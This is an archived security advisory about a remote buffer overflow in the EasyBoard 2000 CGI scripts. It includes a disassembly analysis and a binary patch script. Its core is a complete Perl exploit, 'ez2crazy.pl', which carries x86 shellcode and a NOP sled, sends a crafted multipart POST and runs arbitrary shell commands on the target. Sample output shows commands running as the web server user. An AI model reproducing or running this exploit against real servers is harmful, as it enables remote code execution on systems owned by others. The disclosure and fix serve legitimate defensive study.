|
COMMAND EasyBoard 2000 Remote Buffer Overflow Vulnerability SYSTEMS AFFECTED EasyBoard 2000 1.27xx PROBLEM Jin Ho You [jhyou@chonnam.chonnam.ac.kr] posted a nice analysis and exploit : Vulnerability Analysis : Vulnerable CGIs =============== Vulnerable CGIs are ezboard.cgi, ezman.cgi and ezadmin.cgi. $ strings ezboard.cgi | grep -- \"--%s\" --%s $ strings ezman.cgi | grep -- \"--%s\" --%s $ strings ezadmin.cgi | grep -- \"--%s\" --%s Analysis of ezboard.cgi ======================= $ objdump -s ezboard.cgi | less 806ad60 4700504f 53540043 4f4e5445 4e545f54 G.POST.CONTENT_T 806ad70 59504500 00000000 00000000 00000000 YPE............. 806ad80 6170706c 69636174 696f6e2f 782d7777 application/x-ww 806ad90 772d666f 726d2d75 726c656e 636f6465 w-form-urlencode 806ada0 64002600 3d007365 6c6e756d 00434f4e d.&.=.selnum.CON 806adb0 54454e54 5f4c454e 47544800 00000000 TENT_LENGTH..... 806adc0 6d756c74 69706172 742f666f 726d2d64 multipart/form-d 806add0 6174613b 20626f75 6e646172 793d002d ata; boundary=.- <-- 0x806addf 806ade0 2d257300 0d0a2573 00000000 00000000 -%s...%s........ \"--%s\" 806adf0 00000000 00000000 00000000 00000000 ................ 806ae00 436f6e74 656e742d 44697370 6f736974 Content-Disposit 806ae10 696f6e3a 20666f72 6d2d6461 74613b20 ion: form-data; 806ae20 002d2d00 3b206669 6c656e61 6d650025 .--.; filename.% $ objdump -d ezboard.cgi | less 804aff5: 57 push %edi 804aff6: 68 df ad 06 08 push $0x806addf ---> \"--%s\" 804affb: 8d 9d e8 fe ff ff lea 0xfffffee8(%ebp),%ebx 804b001: 53 push %ebx 804b002: e8 89 e5 ff ff call 0x8049590 $ gdb ezboard.cgi (gdb) disassemble 0x804aff6 0x804af84 <strcpy+6500>: push %ebp 0x804af85 <strcpy+6501>: mov %esp,%ebp 0x804af87 <strcpy+6503>: push %edi 0x804af88 <strcpy+6504>: push %esi 0x804af89 <strcpy+6505>: push %ebx 0x804af8a <strcpy+6506>: sub $0x648,%esp 0x804af90 <strcpy+6512>: mov $0x806adc0,%edi 0x804af95 <strcpy+6517>: cld 0x804af96 <strcpy+6518>: mov $0xffffffff,%ecx 0x804af9b <strcpy+6523>: mov $0x0,%al 0x804af9d <strcpy+6525>: repnz scas %es:(%edi),%al 0x804af9f <strcpy+6527>: not %ecx 0x804afa1 <strcpy+6529>: dec %ecx 0x804afa2 <strcpy+6530>: mov %ecx,0xfffff9e0(%ebp) delim_len = strlen(\"multipart/form-data; boundary=\"); 0x804afa8 <strcpy+6536>: push $0x806ad67 \"CONTENT_TYPE\" 0x804afad <strcpy+6541>: call 0x8049210 <getenv> 0x804afb2 <strcpy+6546>: mov %eax,%ebx content_type = getenv(\"CONTENT_TYPE\"); 0x804afb4 <strcpy+6548>: lea 0xfffff9e4(%ebp),%eax 0x804afba <strcpy+6554>: mov %eax,(%esp,1) 0x804afbd <strcpy+6557>: call 0x804aee4 <strcpy+6340> 0x804afc2 <strcpy+6562>: mov %eax,%esi 0x804afc4 <strcpy+6564>: sub $0x8,%esp 0x804afc7 <strcpy+6567>: push $0x806adc0 0x804afcc <strcpy+6572>: push %ebx 0x804afcd <strcpy+6573>: call 0x8049360 <strstr> (gdb) x/s 0x806adc0 0x806adc0 <_IO_stdin_used+1756>: \"multipart/form-data; boundary=\" delim = strstr(content_type, \"multipart/form-data; boundary=\"); 0x804afd2 <strcpy+6578>: add $0x20,%esp 0x804afd5 <strcpy+6581>: mov %eax,%edi 0x804afd7 <strcpy+6583>: test %edi,%edi 0x804afd9 <strcpy+6585>: jne 0x804afec <strcpy+6604> 0x804afdb <strcpy+6587>: sub $0xc,%esp 0x804afde <strcpy+6590>: pushl 0x806fe6c 0x804afe4 <strcpy+6596>: call 0x804cc2c <strcpy+13836> 0x804afe9 <strcpy+6601>: add $0x10,%esp 0x804afec <strcpy+6604>: add 0xfffff9e0(%ebp),%edi delim += delim_len; 0x804aff2 <strcpy+6610>: sub $0x4,%esp 0x804aff5 <strcpy+6613>: push %edi 0x804aff6 <strcpy+6614>: push $0x806addf 0x804affb <strcpy+6619>: lea 0xfffffee8(%ebp),%ebx 0x804b001 <strcpy+6625>: push %ebx 0x804b002 <strcpy+6626>: call 0x8049590 <sprintf> char boundary[280]; sprintf(boundary, \"--%s\", delim); The disassembled code is like the C code: parse_multipart() { char boundary[280]; ... delim = strstr(getenv(\"CONTENT_TYPE\"), \"multipart/form-data; boundary=\"); delim += strlen(\"multipart/form-data; boundary=\"); sprintf(boundary, \"--%s\", delim); ... } We can see that sprintf() function call can create buffer overflow condition. Exploit : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl # ez2crazy.pl # # Remote Buffer Overflow x86 Linux Exploit for # CrazyWWWBoard(http://www.crazywwwboard.com), # EasyBoard 2000(http://ezboard.new21.org) and # CGIs using qDecoder 4.0~5.0.8 # # Excessive boundary delimiter string in the header # \"Content-Type: multipart/form-data\" permits the buffer overflow attack. # # Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11 $usage = \"usage: ez2crazy.pl [options] CGI-URL\\n CGI-URL URL of the target CGI -c command Bourne shell command Default: \'/bin/echo 00ps, Crazy!;id\' -o offset Offset of the egg shell code, Recommended [-300,+300] example) ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi ez2crazy.pl -c \'echo vulnerable.cgi has a security hole! | mail root\' \\\\ target.com/cgi-bin/vulnerable.cgi \"; use Getopt::Std; getopt(\'oc\'); if ($#ARGV < 0) { print $usage; exit(0); }; $cgiurl = $ARGV[0]; $command = $opt_c ? $opt_c : \"/bin/echo 00ps, Crazy!;id\"; $offset = $opt_o ? $opt_o : 0; $cgiurl =~ s/http:\\/\\///; ($host, $cgiuri) = split(/\\//, $cgiurl, 2); ($host, $port) = split(/:/, $host); $port = 80 unless $port; $command = \"/bin/echo Content-Type: text/html;/bin/echo;($command)\"; $cmdlen = length($command); $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4; $shellcode = \"\\xeb\\x37\" # jmp 0x37 . \"\\x5e\" # popl %esi . \"\\x89\\x76\" . pack(C, $argvp) # movl %esi,0xb(%esi) . \"\\x89\\xf0\" # movl %esi,%eax . \"\\x83\\xc0\\x08\" # addl $0x8,%eax . \"\\x89\\x46\" . pack(C, $argvp + 4) # movl %eax,0xb(%esi) . \"\\x89\\xf0\" # movl %esi,%eax . \"\\x83\\xc0\\x0b\" # addl $0xb,%eax . \"\\x89\\x46\" . pack(C, $argvp + 8) # movl %eax,0xb(%esi) . \"\\x31\\xc0\" # xorl %eax,%eax . \"\\x88\\x46\\x07\" # movb %eax,0x7(%esi) . \"\\x4e\" # dec %esi . \"\\x88\\x46\\x0b\" # movb %eax,0xb(%esi) . \"\\x46\" # inc %esi . \"\\x88\\x46\" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi) . \"\\x89\\x46\" . pack(C, $argvp + 12) # movl %eax,0xb(%esi) . \"\\xb0\\x0b\" # movb $0xb,%al . \"\\x89\\xf3\" # movl %esi,%ebx . \"\\x8d\\x4e\" . pack(C, $argvp) # leal 0xb(%esi),%ecx . \"\\x8d\\x56\" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx . \"\\xcd\\x80\" # int 0x80 . \"\\x31\\xdb\" # xorl %ebx,%ebx . \"\\x89\\xd8\" # movl %ebx,%eax . \"\\x40\" # inc %eax . \"\\xcd\\x80\" # int 0x80 . \"\\xe8\\xc4\\xff\\xff\\xff\" # call -0x3c . \"/bin/sh0-c0\" # .string \"/bin/sh0-c0\" . $command; $offset -= length($command) / 2 + length($host . $port . $cgiurl); $shelladdr = 0xbffffbd0 + $offset; $noplen = 242 - length($shellcode); $jump = $shelladdr + $noplen / 2; $entries = $shelladdr + 250; $egg = \"\\x90\" x $noplen . $shellcode . pack(V, $jump) x 9 . pack(V, $entries) x 2 . pack(V, $jump) x 2; $content = substr($egg, 254) . \"--\\r\\nContent-Disposition: form-data; name=\\\"0\\\"\\r\\n\\r\\n0\\r\\n--$egg--\\r\\n\"; $contentlength = length($content); $exploit = \"POST /$cgiuri HTTP/1.0 Connection: Keep-Alive User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686) Host: $host:$port Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: ko Accept-Charset: euc-kr,*,utf-8 Content-type: multipart/form-data; boundary=$egg Content-length: $contentlength $content \"; use Socket; $iaddr = inet_aton($host) or die(\"Error: $!\\n\"); $paddr = sockaddr_in($port, $iaddr) or die(\"Error: $!\\n\"); $proto = getprotobyname(\'tcp\') or die(\"Error: $!\\n\"); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die(\"Error: $!\\n\"); connect(SOCKET, $paddr) or die(\"Error: $!\\n\"); send(SOCKET, $exploit, 0) or die(\"Error: $!\\n\"); while (<SOCKET>) { print; } close(SOCKET); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - example $ ./ez2crazy.pl -o -250 http://vulnerable.net/ezboard/ezboard.cgi HTTP/1.1 200 OK Date: Sun, 10 Feb 2002 19:08:46 GMT Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6 DAV/1.0.2 PHP/4.0.4pl1 mod_perl/1.24_01 Connection: close Content-Type: text/html 00ps, Crazy! uid=48(apache) gid=48(apache) groups=48(apache) SOLUTION The vulnerability can be fixed by replacing sprintf(boundary, \"--%s\", delim) with sprintf(boundary, \"--%.200s\", delim). The following code fixes the binary programs of EasyBoard 2000 x86 Linux version. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl # ezboard-fix.pl # # EasyBoard 2000 Buffer Overflow Vulnerability Fix for x86 Linux version # # Run this program in the directory where ezboard.cgi exists. # # Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11 LOOP: for $cgi_file (\"ezboard.cgi\",\"ezadmin.cgi\", \"ezman.cgi\") { if (! -e $cgi_file) { print \"$cgi_file does not exist.\\n\"; next LOOP; } $cgi_content=`cat $cgi_file`; if (index($cgi_content, \"EasyBoard 2000\") == -1 || index($cgi_content, \"ld-linux.so\") == -1) { print \"$cgi_file is not EasyBoard 2000 for x86 Linux.\\n\"; next LOOP; } @obj_header = split(\' \', `objdump -h $cgi_file | grep rodata`); $moff_section = hex($obj_header[3]); $foff_section = hex($obj_header[5]); $foff_fmtstr = index($cgi_content, \"--%s\"); $moff_fmtstr = $moff_section + $foff_fmtstr - $foff_section; $foff_push = index($cgi_content, pack(\"V\",$moff_fmtstr)); if ($foff_push == -1) { print \"$cgi_file is already fixed!\\n\"; next LOOP; } printf \"$cgi_file: \'--%%s\' = 0x%08x, push \'--%%s\' = 0x%08x\\n\", $foff_fmtstr, $foff_push; open(CGI, \"+<$cgi_file\") or die \"cannot open $cgi_file: $!\"; seek(CGI, $foff_fmtstr + 17, SEEK_SET); print CGI \"--%.200s\"; seek(CGI, $foff_push, SEEK_SET); print CGI pack(\"V\", $moff_fmtstr + 17); close(CGI); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~